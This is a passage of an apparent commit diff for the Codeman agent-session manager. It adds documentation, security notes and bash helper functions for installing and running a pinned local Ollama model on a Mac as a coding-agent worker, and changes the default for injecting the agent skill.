exactly that name, or the check never compares it. Until then the report lists today's
digests, rows with measured figures first, because without a digest a rebuild of about the
same size goes unnoticed (a switch between the mlx and the gguf build does not: their sizes
differ by 2% or more). Pinning digests is a decision, not a quick fix: today the catalogue
holds no digest on purpose, and `test/local-model-catalog.test.ts` ("holds no download
data") refuses a `sha256` anywhere in it, so that rule changes with it.
For the runtime pin it checks whether a newer Ollama release exists, and whether the pinned
`ollama-darwin.tgz` is still on GitHub with the pinned size and sha256.
It reads manifests and configs only, never a model layer. It does not check the memory
figures, the speeds or whether a coding agent works with a model: no manifest says anything
about those, and they change only when somebody measures on a Mac.
**The issue.** Drift opens one issue, "Local model catalogue: weekly check", or, while that
issue is open, replaces its description with the new report and adds a comment. A clean week
comments on the open issue and does nothing when there is none. A check that failed (the
network, a rate limit, an answer that did not parse) fails the run and leaves the issue
alone; what it found is in the run's summary. The schedule runs the copy of the workflow on
`master`, and so does `gh workflow run local-model-catalog.yml`.
**What a maintainer does with it**, in a pull request each time:
- **Size drift or a changed digest**: correct the row. When the build itself changed (another
runner or quantization), its memory figures and speed no longer describe it: mark the row
`estimated` until somebody measures it again.
- **A tag that is gone, or a build that needs a newer runtime**: replace or drop the row, or
move the runtime pin first.
- **A newer Ollama**: read its release notes, then move `OLLAMA_RUNTIME_PIN` (version, URL,
size and sha256, checked against the release's `sha256sum.txt`) and run an install on a
Mac before merging.
- **A pinned archive that changed**: a security question first. Every install refuses it at
the hash compare, so nobody gets it, but find out why before moving the pin.
Close the issue once the fix is merged. A catalogue or pin change reaches users only in a
release: an installed Codeman keeps the catalogue it was built with until it is updated.
## Source
| What | Where |
| ---------------------------------------------- | -------------------------------------------------------------------------------------------------- |
| Hardware probe, catalogue, recommendation | `src/local-model/hardware.ts`, `src/config/local-model-catalog.ts`, `src/local-model/recommend.ts` |
| Runtime pin, download, environment, supervisor | `src/local-model/runtime.ts` |
| Runtime HTTP client, pull parser, checks | `src/local-model/ollama-client.ts` |
| Developer tools check | `src/local-model/developer-tools.ts` |
| Job (state table, reducer, view, service) | `src/local-model/install-job.ts` |
| State file | `src/local-model/state-store.ts` |
| Connection and its undoing | `src/local-model/connect.ts` |
| Paths | `src/local-model/paths.ts` |
| Routes | `src/web/routes/local-model-routes.ts` |
| Shared CLI install runner | `src/cli-install-runner.ts` |
| Serialized writer of the endpoint store | `src/custom-model-hosts-writer.ts` |
| Weekly catalogue check | `scripts/check-local-model-catalog.mjs`, `.github/workflows/local-model-catalog.yml` |
+9
View File
@@ -594,6 +594,15 @@ Opt-in and off by default: the server POSTs the Web Push events (permission prom
- **Discord bridge** (`src/discord-bridge.ts`, [setup](discord-bridge.md)): the bot token lives in `~/.codeman/discord.json` (0600, tmp+rename) and is never returned by the Discord routes, logged or put in an error, and the attachment, folder and download routes refuse the file. A session whose folder is the home directory can still read it through its own file viewer, which serves that workspace without the blocklist. Inbound replies are typed into a session only from `allowedUserIds`, in the configured guild, inside a thread the bridge created; anything else is dropped unread. A reply becomes one printable line plus Enter, capped at 1000 characters and one per second per tab. Posts send `allowed_mentions` limited to the allowlisted ids, so agent output cannot ping a server. **Files:** an attachment is fetched only from Discord's own HTTPS hosts (no redirects followed), at most 5 per reply and 8 MB each, saved 0600 under `<tab folder>/.codeman-discord/` with the name reduced to `[A-Za-z0-9._-]`; a file a CLI sends must be a regular file whose real path (symlinks followed) lies inside its own tab's folder and is not on the attachment blocklist (`isBlockedAttachmentPath`, since a tab's folder can be the home directory), which stops a sensitive file being uploaded by mistake, and remote sessions send and receive none. A received file is untrusted content to whatever opens it. **What the checks do not stop:** the agent runs as the same OS user, so the path check prevents accidental uploads, not a determined agent that pastes a file's contents into the message. **What leaves the machine:** a permission or question alert sends the rendered screen (whatever the agent printed), and a finished turn or an error sends the CLI's whole last message, read from its transcript (up to 8 posts of 1,900 characters). `idle_prompt` is a warning, so with the default scope every Claude turn left unanswered for a minute is posted, and with **Which events** set to Everything every turn end is; treat the Discord server as holding that output. **Multi-user:** the bridge is one allowlist for the whole server, so an allowlisted Discord account can type into every user's sessions; only an admin can configure it. **Startup hint:** a fixed text (no user input) is added to Claude's system prompt; no other CLI is sent it. The bridge only dials out (REST and the gateway WebSocket), so it needs no inbound exposure. A Discord account on the allowlist can drive agents that run shell commands: it needs 2FA.
- **It carries session data to a third party.** Titles and bodies include session names, tool names and error text, all agent- or user-controlled, so Discord gets `allowed_mentions: { parse: [] }` and Slack's `& < >` are escaped: agent output cannot ping a channel. In multi-user mode all three routes are admin-only and the channel is instance-wide: it receives every user's session events, the same reach an admin's own Web Push has, which means non-admins' session details leave the box at the admin's choice.
## 10d. The model on this Mac (local model install)
Opt-in by a click, macOS only, admin-only in multi-user mode on every verb. The server downloads one pinned runtime build, runs it as its own child, pulls one model into it, installs the coding agent when it is missing, and saves one endpoint record. Source: `src/local-model/`, routes in `src/web/routes/local-model-routes.ts`. Guide: [`local-models.md`](local-models.md).
- **Supply chain: a compiled pin.** The runtime's URL, size and sha256 are a constant in `src/local-model/runtime.ts` that no file, setting or request can change; the archive is hashed while it streams and compared BEFORE anything is unpacked, a mismatch deletes it, and only `/usr/bin/tar` unpacks it into a folder under the data dir. The model comes from the runtime's own registry under the name the catalogue pins; the digest the runtime reports after the pull is stored, and a model whose digest changed under that name is refused at the next start.
- **A loopback port without a login.** The runtime listens on `127.0.0.1:<port>` (chosen once from 11435) with no authentication, like every model server of its kind: any program of any account on the Mac, and any web page served from `localhost`, can use it and change its models. What limits that: the endpoint record lists ONE model and the discovery sweep leaves it alone, the digest is compared before an agent is started on it (every start path, see the guide), and a listener on the port that is not our own child (judged by the stored pid's command line, never by the port alone) is reported as `port-in-use` and never signalled. An open session keeps calling the port while the runtime is stopped, which is why Stop and a port change are refused while one uses the model.
- **A second install path for a coding agent, without `cliManagementEnabled`.** The job runs the COMPILED stock install command of a catalogue harness row (never a `clis.json` override, never a custom entry) through the same runner as CLI management, only after the consent screen showed the literal command, and writes the admin audit entry (`cli_install`, `via: 'local-model'`). The installer runs as the server's user with the same reach as every other spawn.
- **The runtime's own files stay inside `~/.codeman/local-model/`**: its private HOME (so no `~/.ollama` is created), its model store and its unpacked folder; its environment is an allowlist (no `CODEMAN_*`). Remove deletes only inside that folder, refuses a folder that is a symbolic link, and ends the runtime (ours by its command line) before any file goes.
---
## 11. Quick reference
+20
View File
@@ -86,6 +86,26 @@ covered like any other stable behavior. Other agent commands and API routes keep
their existing guarantees. Promotion to stable requires an explicit documented
decision.
### Experimental local model routes
`GET /api/v1/local-model`, `POST /api/v1/local-model/install`, `/cancel`, `/resume`
and `/runtime`, and `DELETE /api/v1/local-model` (and their `/api` aliases) are
labeled experimental, so item 3 above applies to them: their paths, their payloads
(the hardware facts, the verdicts and reasons, the candidate fields, the `install`
object with its states, steps, error codes and actions, the 409 conflict shape and
every English sentence) and their behavior may change or be removed in a MINOR or
PATCH release. They look at the Mac the server runs on, say which local model fits,
and install, start, stop and remove one ([local-models.md](local-models.md)).
They are not behind a setting. Reading changes nothing; an install starts only on an
explicit request that carries the size the person confirmed. All of them are admin
only in multi-user mode. What an install leaves behind is ordinary, stable state: one
saved model endpoint with the id `local-ollama` and the `customModelEndpointsEnabled`
setting switched on, both of which the stable custom model endpoint routes read like
any other endpoint. On-disk state (`local-model.json`, the `local-model/` folder) is
internal, as for every other file in the data directory. Promotion to stable requires
an explicit documented decision.
## Deprecation policy
When we need to change a covered surface:
+1 -1
View File
@@ -79,7 +79,7 @@ output. The other CLIs expose no equivalent.
| Subagent and team windows | Yes | No |
| Model, effort, advisor, and ultracode controls | Yes | No |
| `stop` and `blocked` wait signals | Yes | DeepSeek yes; Codex `blocked` only; elsewhere 400 if you ask for them explicitly |
| The bundled agent skill | Yes | Every CLI except Pi and Copilot, in `.agents/skills/` |
| The bundled agent skill | Yes | No |
Everything that makes a session a session works everywhere. What is Claude-only is mostly
the machinery that needs to know *what* the agent is doing rather than *that* it is doing
+12 -19
View File
@@ -43,11 +43,7 @@ DeepSeek Harness worker on a local qwen model and a Claude Code worker power on
## Install it
Usually you do not have to: since 1.50.0 Codeman puts the skill into every new session's
folder by default (the Web UI row below), where that session's CLI looks for skills. The copy
ignores itself in git, so your repository never lists it as a new file.
Otherwise pick one route. The skill only acts inside a Codeman session, so a global install is safe.
Pick one route. The skill only acts inside a Codeman session, so a global install is safe.
| How | Command | Scope |
| ------------------ | ------------------------------------------------------------------------------- | ----- |
@@ -55,13 +51,10 @@ Otherwise pick one route. The skill only acts inside a Codeman session, so a glo
| Claude Code plugin | `/plugin marketplace add Ark0N/Codeman`, then `/plugin install codeman@codeman` | Global, through Claude Code's plugin manager. `/plugin update codeman` follows releases. |
| Bundled CLI | `codeman skill install` | Global, at `~/.claude/skills/codeman`. |
| Bundled CLI | `codeman skill install --case <name> [--mode <mode>]` | One case. `--mode codex` (or any other run mode) writes it where that CLI looks for skills. |
| Web UI | **App Settings → Agents & CLIs → All agent CLIs → Codeman Agent Skill** | Injects it into each case when a session is created, where that session's CLI looks: `.claude/skills/` for Claude Code, `.agents/skills/` for Codex, Gemini CLI, OpenCode, Antigravity, Grok, DeepSeek and OMP. On by default since 1.50.0. |
| Web UI | **App Settings → Agents & CLIs → All agent CLIs → Codeman Agent Skill** | Injects it into each case when a session is created, where that session's CLI looks: `.claude/skills/` for Claude Code, `.agents/skills/` for Codex, Gemini CLI, OpenCode, Antigravity, Grok, DeepSeek and OMP. Off by default. |
Use the plugin **or** `codeman skill install`, not both: a Claude Code with both lists the
skill twice (`codeman` and `codeman:codeman`). The Web UI copy counts too, and it is on by
default: with the plugin installed, Claude Code sessions in Codeman list the skill twice.
Both work. Turn **Codeman Agent Skill** off if the duplicate bothers you (other CLIs then
lose their copy too), or use the Web UI copy instead of the plugin.
skill twice (`codeman` and `codeman:codeman`).
The web UI route skips pi, because a project skill makes pi ask to trust the folder at
startup. A pi or plain shell session uses the [`codeman agent`
@@ -74,16 +67,9 @@ same verbs as shell commands.
Codeman-managed copy in that case, whichever CLI's directory it sits in). It never touches a
`skills/codeman` you wrote yourself.
To stop the Web UI copy, turn **App Settings → Agents & CLIs → All agent CLIs → Codeman Agent
Skill** off. It is on by default since 1.50.0: a settings file without the setting means on,
and only switching it off turns it off. Existing installs that stored off are switched on
once at the first 1.50.0 start (every App Settings save on an earlier version stored the old
default, off, whether or not you touched this switch); turning it off afterwards sticks.
Turning the web UI setting off **does not remove copies it already injected**, because
Turning the web UI setting back off **does not remove copies it already injected**, because
a sweep at session start would pull the skill out from under other live sessions sharing
that directory. Remove them per case with `codeman skill uninstall --case <name>`, which
also removes the copy's `.gitignore`.
that directory. Remove them per case with `codeman skill uninstall --case <name>`.
## Then just ask
@@ -97,6 +83,7 @@ These prompts work as written:
| "Spin up 3 workers for lint, typecheck and tests, run them in parallel, report failures." | One session per task, all started first, then gathered as each finishes. |
| "Have a claude worker summarize `src/session.ts`, then close it." | Spawns, waits until the worker is ready, sends and waits, reads the answer, deletes the session. |
| "Have a DeepSeek Harness worker build search and a claude worker build checkout." | A mixed fleet: one worker per CLI, started in one go. |
| "Use the local model to summarize every file in `docs/`, then check its summaries." | A worker on the model Codeman installed on this Mac does the bulk; the lead reads its answer back and reviews it. Without a local model, it says why. |
| "Watch session w4 and tell me if it gets stuck on a permission prompt." | Blocks on the `blocked` signal and brings the question to **you**. |
Sessions the agent creates are deleted when it is done, so you can watch the tabs appear and
@@ -132,6 +119,12 @@ so the skill can wait for "turn finished" and read the answer as clean text. Eve
and plain shell sessions are synchronized on an output marker instead, which works the same
from your side. See [Agent CLIs](Agent-CLIs) for the run modes.
**The model on this Mac is a worker too.** When Codeman has installed a local model
([A model that runs on this Mac](Custom-Model-Endpoints#a-model-that-runs-on-this-mac)), a
Claude Code lead can hand work to it: Claude in the cloud plans and reviews, the local model
takes summaries, first drafts and files that should stay on the machine. It answers one
request at a time and is slower than a cloud model, and the skill never installs one for you.
With Claude Code workers, where the installed Claude Code supports it, the lead can also
message a worker directly instead of typing into its terminal.
+39
View File
@@ -204,6 +204,45 @@ Which harnesses show up in the Run-menu picker is read live off Codeman's own CL
not a fixed list here, so this table can go stale before this page does — a greyed-out or
missing entry is the more current answer.
## A model that runs on this Mac
If the Codeman server runs on a Mac with Apple silicon, you do not need a server of your
own: Codeman can set one model up for you on that Mac. This is experimental.
1. Press **Run a local model** on the welcome screen (or open App Settings > Models > Model
on this Mac).
2. The window shows what fits this Mac. A bar shows how much of the memory the selected
model takes at its full context; a nearly full bar means a tight fit. Pick a model and
the coding agent to run it with.
3. Press **Install on this Mac**, check the sizes and where they go, and confirm. Nothing is
downloaded before this click.
4. Codeman downloads a model runtime (Ollama, about 186 MB) and the model into
`~/.codeman/local-model`, loads the model, checks that all of it runs on the GPU and that
it can call a tool, installs the coding agent if it is missing, and saves an endpoint
named **This Mac**. No administrator password is asked for.
5. Press **Start a session**.
Good to know:
- You can close the window: the download continues while Codeman is running. **Cancel**
pauses it and **Continue** picks it up where it stopped. After a Codeman restart an
unfinished install waits for your click.
- The memory figure is an estimate until the runtime has started once. From then on it is
what the runtime itself measured, and the model is judged against that before it is
downloaded.
- The endpoint "This Mac" belongs to this install. It is in the list and in the Run menu,
but it is changed and removed in the local model window, not here.
- Codeman starts the runtime with the server and stops it with it. **Stop** keeps it from
starting next time.
- **Remove** deletes the runtime and the endpoint, and the model too if you tick that. The
coding agent stays installed.
- If the model on disk is no longer the one that was installed, Codeman refuses to start a
session on it and tells you to remove and install it again.
- Any program on this Mac, and any web page served from `localhost`, can reach the model
runtime: its port has no login. It listens on this Mac only.
- On a Mac without Apple's developer tools, macOS will offer to install them the first time
a coding agent runs `git` or Python. The window tells you when that applies.
## What it does not do
- **No remote or Docker sessions yet.** Both restart their agent differently under the hood
@@ -14,10 +14,6 @@ A skill in the `SKILL.md` format that Claude Code, Codex, Gemini CLI, OpenCode,
and most other agent CLIs read. It teaches the agent the whole API, so you ask in plain
English instead of pasting endpoint documentation into prompts:
Since 1.50.0 Codeman puts it into every new session's folder by default (App Settings →
Agents & CLIs → **Codeman Agent Skill**), so an agent inside Codeman usually has it already.
For pi, or a copy that does not depend on that setting:
```bash
codeman skill install # or: npx skills add Ark0N/Codeman --skill codeman -g
```
+1 -3
View File
@@ -215,9 +215,7 @@ Yes. Codeman ships an agent skill that lets an agent inside a session drive the
list sessions, spawn workers in any installed CLI, send prompts, and block until a worker's
turn finishes. Install it once with `codeman skill install` or the Claude Code plugin, then
ask in plain English, for example *"use codeman to start 5 claude workers, one per TODO
item"*. Since 1.50.0 Codeman also injects it into every new session's case by default, so an
agent inside Codeman usually has it already (App Settings → Agents & CLIs → **Codeman Agent
Skill** turns that off).
item"*. The web UI setting that injects it into every new session's case is off by default.
See [The Codeman Skill](Codeman-Skill), with recordings of real runs, and
[Driving Codeman From An Agent](Driving-Codeman-From-An-Agent) for the other routes.
+1 -1
View File
@@ -17,7 +17,7 @@ lists mark a session that runs in one with a `⑂ <name>` pill.
The main checkout does not show the worktrees as untracked: Codeman adds `/.claude/worktrees/`
(and `/.claude/settings.local.json`, the hooks file it writes for every Claude session, plus the
`codeman` folder it writes while **Codeman Agent Skill** is on, the default) to the repository's local
`codeman` folder it writes when **Codeman Agent Skill** is on) to the repository's local
`.git/info/exclude` when git does not ignore them already. Without that, those files would make
every worktree look modified and git would refuse to remove it. Your tracked `.gitignore` is
never touched.
+21 -1
View File
@@ -193,6 +193,26 @@ attached.
section to the Run dropdown, for pointing a harness at your own OpenAI-compatible server
instead of its native cloud backend. See [Custom Model Endpoints](Custom-Model-Endpoints).
**Model on this Mac** is not a setting: it is the state of a model Codeman can run for you
on the Mac the server runs on, with a button that opens the local model window. The same
window opens from the **Run a local model** button on the welcome screen. It shows that
Mac's chip, memory and free disk space, a bar for how much of the memory the selected model
takes, and the models that fit, each with one tag (Best fit, Tight, Slow, Small model, or
"Tested on a Mac like this"), a speed and a download size. **Install on this Mac** asks you
to confirm the sizes once, then downloads a model runtime and the model into
`~/.codeman/local-model`, checks that the model loads and can call a tool, installs the
coding agent if it is missing, and ends on **Start a session**. No account, no API key and
no administrator password. You can close the window while it downloads, cancel and continue
later; after a Codeman restart an unfinished install waits for you to press Continue. Once a
model is installed the window offers Start a session, Stop or Start, and Remove. Installing
switches **Custom model endpoints** on and saves one endpoint named "This Mac"; Remove takes
the endpoint away again and switches the setting back off if nothing else uses it. A Mac
that can only run a small model is told so in plain words, and a Mac with too little memory,
too little free disk space or an Intel processor is told why nothing is offered. The group
is not shown when the server runs on Linux or Windows, and in multi-user mode only an admin
sees it. The "Mac" is always the machine the server runs on, not the device you are reading
on. Details: [Custom Model Endpoints](Custom-Model-Endpoints#a-model-that-runs-on-this-mac).
### Agents & CLIs
| Setting | Notes |
@@ -202,7 +222,7 @@ instead of its native cloud backend. See [Custom Model Endpoints](Custom-Model-E
| Ralph / Todo Tracker | Enables the Ralph loop surfaces. |
| Agent Teams | Experimental teams. Also needs the CLI's own environment flag. |
| Pin tab names on the CLI | Launches every Claude session with `--name` set to its tab name, so Claude Code's prompt label and `/resume` list match your tabs. Claude then stops generating its own titles for those sessions, and a rename in Codeman holds only until the next turn. Synced, off by default; applies from the next session start or respawn. |
| Codeman Agent Skill | Under **All agent CLIs**. Injects the agent skill into each new session's case, where that session's CLI looks for skills (every CLI except Pi, GitHub Copilot and a plain shell). On by default since 1.50.0; existing installs that stored off are switched on once at the first 1.50.0 start, and turning it off afterwards sticks. The copy ignores itself in git, so your repository never lists it. Off stops new copies but removes none (`codeman skill uninstall --case <name>` does). See [The Codeman Skill](Codeman-Skill). |
| Codeman Agent Skill | Under **All agent CLIs**. Injects the agent skill into each new session's case, where that session's CLI looks for skills (every CLI except Pi and a plain shell). Off by default. See [The Codeman Skill](Codeman-Skill). |
| Remote auto-reconnect | Reattaches dropped remote SSH sessions. On by default. |
| Nice priority / value | Runs agent processes at a lower CPU priority. |
| Default Codex model | Model for new local Codex sessions; empty uses Codex's own config. Letters, digits, `.` `_` `-` `/` only. |
+1
View File
@@ -30,6 +30,7 @@
"test:mobile": "vitest run --config test/mobile/vitest.config.ts",
"check:frontend-syntax": "node scripts/check-frontend-syntax.mjs",
"check:browser-excludes": "node scripts/check-browser-test-excludes.mjs",
"check:local-model-catalog": "tsx scripts/check-local-model-catalog.mjs",
"fix:node-pty": "node scripts/fix-node-pty.mjs",
"typecheck": "tsc --noEmit && tsc -p config/tsconfig.scripts.json",
"lint": "eslint --config config/eslint.config.js 'src/**/*.ts'",
+1 -1
View File
@@ -9,6 +9,6 @@ The agent skill for [Codeman](https://getcodeman.com), the self-hosted mission c
The skill acts inside a Codeman-managed session (`CODEMAN_MUX=1`). Outside one it only reads saved Codex conversations offline (`codeman history read`) and refuses everything else, so installing it globally costs nothing for unrelated sessions.
Pick one install route. Codeman injects the skill into each new session's folder itself, on by default since 1.50.0 (App Settings, Agents & CLIs, Codeman Agent Skill), and `codeman skill install` writes a user-level copy; a Claude Code that has one of those AND this plugin lists the skill twice, as `codeman` and `codeman:codeman`. Both work, the second is just noise: turn that setting off, or skip the plugin, if it bothers you.
Pick one install route. Codeman can inject the skill into each case itself (App Settings, Agent Skill), and `codeman skill install` writes a user-level copy; a Claude Code that has one of those AND this plugin lists the skill twice, as `codeman` and `codeman:codeman`. Both work, the second is just noise.
This directory is a mirror of [`skills/codeman`](../../skills/codeman) in the main repository, kept byte-identical by `scripts/sync-plugin.mjs` and pinned by a test. Edit the source there, never here. `npm run check:plugin` (repo root, needs the `claude` CLI) checks the mirror and validates both manifests. Source, issues and the rest of Codeman: https://github.com/Ark0N/Codeman
+318 -24
View File
@@ -7,7 +7,8 @@ description: >-
CLI, send them prompts, block until they finish (wait / wait-output / send-and-wait),
read their output, and clean up; where available, message claude workers directly
(Claude Code cross-session messaging). Use when asked to orchestrate or parallelize
work across Codeman sessions, get a second opinion from another CLI or model, watch
work across Codeman sessions, get a second opinion from another CLI or model, hand
work to the local model Codeman installed on this Mac ("use the local model"), watch
another session, start and manage workers, or retrieve saved local Codex history
by file/native ID or root and descendants with topic/date filters. Live API
operations require a Codeman-managed session (CODEMAN_MUX=1). Offline history
@@ -106,7 +107,7 @@ later call opens with, and your first REAL call performs them anyway:
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
[ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
```
⚠️ **Never spend a Bash call on this check alone.** §1's block opens with this same
@@ -134,8 +135,8 @@ PRE="${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh"
mkdir -p "$(dirname "$PRE")"
# Rewrite unless the file already ends with THIS version's stamp, so a stale or a
# half-written file self-heals here instead of costing you a round trip to rm it.
grep -qs '^CODEMAN_PREAMBLE=1.44.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
# ---- Codeman agent preamble 1.44.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
grep -qs '^CODEMAN_PREAMBLE=1.50.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
# replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
# from that body (test/agent-skill.test.ts pins it).
@@ -186,11 +187,15 @@ _composer_up() { # <sid> <timeoutMs> -> "true"/"false". `shift+tab` is the one
--data-urlencode 'match=shift+tab' --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
}
_mark_up() { # <sid> <mark> <timeoutMs> -> "true"/"false": a literal, space-free token
# in the pane's output, read from the buffer so a composer drawn before the wait counts.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${2}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${3}" | jq -r '.data.wait.matched // false'
}
_dsh_up() { # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness TUI's
# composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${DSH_READY_MARK:-❯}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
_mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
}
# ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
# Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
@@ -250,21 +255,126 @@ _accept_trust() { # <sid> -> 0 once it has answered the dialog, 1 if it could n
done
return 1
}
# ---- the local model: the model Codeman installed on this Mac, as a worker ----
# local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
# spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
# {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
# Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
# refuses a session now: the model changed on disk, another program holds the port, the
# runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
# local models, 404), unauthorized (401, §6), unreachable, error.
# One GET of an EXPERIMENTAL route. It downloads, installs and starts nothing: installing is
# a person's decision, made in Codeman's "Run a local model" window.
local_model() {
local r code body out
r=$("${CURL[@]}" -w '\n%{http_code}' "$API/api/v1/local-model")
code=${r##*$'\n'}; body=${r%$'\n'*}
case "$code" in
200) out=$(jq -c '
def say: (.text // "") as $t
| reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
.data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
| {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
| if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
elif $i.state == "installed" then
# `start` alone over-promises: it is offered too while another program holds the
# port. Only an error-free start is a runtime spawn_worker can bring up.
if ($i.cli and $i.endpointId and $i.model.id)
and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
then {spawnable:true} + $base
else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
message:(if $i.error then ($i.error.message | say)
else "The model is installed, but the server offers no session on it right now." end)} + $base
end
elif $d.recommendation.reason == "not-macos" then
{spawnable:false, reason:"not-mac",
message:("Local models need a Mac with Apple silicon, and this Codeman runs on " + ($d.hardware.platform // "another system") + ".")}
elif $i.state == "idle" then
{spawnable:false, reason:"not-installed",
message:("No local model is installed. " + (if $d.recommendation.verdict == "none" then ($d.recommendation.headline | say)
else "A person installs one with Run a local model on the Codeman welcome screen." end))}
else
{spawnable:false, reason:"install-unfinished", step:$i.step, errorCode:$i.error.code,
message:("The install is " + ($i.state // "unfinished") + (if $i.step then " at its " + $i.step + " step" else "" end)
+ (if $i.error then ": " + ($i.error.message | say) else "." end)
+ " Only the Run a local model window continues it.")} + $base
end
| with_entries(select(.value != null))' <<<"$body" 2>/dev/null) ;;
000) out=$(jq -nc --arg a "$API" '{spawnable:false,reason:"unreachable",message:("No answer from Codeman at " + $a + ".")}') ;;
401) out='{"spawnable":false,"reason":"unauthorized","message":"Codeman refused the credentials (401): see the codeman skill, section 6."}' ;;
403) jq -e '.errorCode == "FORBIDDEN"' <<<"$body" >/dev/null 2>&1 &&
out='{"spawnable":false,"reason":"admin-only","message":"In multi-user mode the local model is for admins only: ask an admin of this Codeman."}' ;;
404) out='{"spawnable":false,"reason":"unsupported","message":"This Codeman has no local model support: it predates it."}' ;;
esac
[ -n "${out:-}" ] || out=$(jq -nc --arg c "$code" --arg t "$body" \
'{spawnable:false,reason:"error",status:$c,message:((($t | fromjson? | .error?) // $t)[0:300])}')
printf '%s\n' "$out"
[ "$(jq -r .spawnable <<<"$out")" = true ]
}
# _local_ready_model -> local_model's JSON once a `local` worker can start, rc 1 with the
# reason on stderr otherwise. An installed model whose runtime is stopped is started first,
# with exactly what the local model window's Start button sends, and read again until it
# runs (bounded, about 30 s). ⚠️ That start also undoes a Stop the person made: the runtime
# starts with Codeman again from then on. Concurrent spawns may both send it; the server
# runs one runtime verb at a time and a second start keeps the runtime that runs.
_local_ready_model() {
local lm r i=0
lm=$(local_model) || { jq -r '"no local model to spawn on (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
r=$("${CURL[@]}" -X POST "$API/api/v1/local-model/runtime" -H 'Content-Type: application/json' -d '{"action":"start"}')
jq -e '.success == true' <<<"$r" >/dev/null 2>&1 || {
echo "could not start the local model runtime: $(jq -r '.error // empty' <<<"$r" 2>/dev/null || printf '%s' "$r" | head -c 300)" >&2
return 1; }
while :; do
lm=$(local_model) || { jq -r '"the local model runtime was started, but (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
i=$((i+1)); [ "$i" -lt 15 ] || { echo "the local model runtime did not report running within 30 s" >&2; return 1; }
sleep 2
done
}
# spawn_worker <caseName> [mode] -> session id on stdout, diagnostics on stderr.
# quick-start AND readiness in one call, with a strict contract: NON-EMPTY stdout means
# a READY worker whose end-of-turn signal can be trusted -- a claude worker in a
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer.
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer -- or a
# `local` worker (below) whose composer drew, which takes a prompt but has NO end-of-turn
# signal unless its harness is claude: drive that one with sendmark.
# Anything less is rc 1 with EMPTY stdout, and the half-spawned session is deleted here
# rather than handed back, because a worker that never drew its composer would eat the
# task prompt with its trust dialog. There is deliberately no pid poll: wait-output
# already blocks until the composer draws, and pid!=null proved startup, never readiness.
# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
# model ride the quick-start as `customModel`: the launch the window's "Start a session"
# makes. A stopped runtime is started first. Any answer that wants a person to confirm
# something (a context below the agent's safe floor, a model swap) fails the spawn: this
# never confirms on anyone's behalf.
# CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
# it is set Claude Code's advisor tool: a stronger model the worker consults before
# committing to an approach, on a recurring error and before declaring the task done.
# Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
# advisor that ranks below the worker's model is accepted but never attached by claude.
spawn_worker() {
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
if [ "$mode" = local ]; then
lm=$(_local_ready_model) || return 1
mode=$(jq -r .cli <<<"$lm")
cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
# Readiness is a token the agent's composer draws. The registry's composer data never
# reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
# That field is no readiness mark in general (the registry keeps `composerReadyMark` for
# that, and declares none for opencode), but at boot only the composer draws it: measured
# on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
# and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
# path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
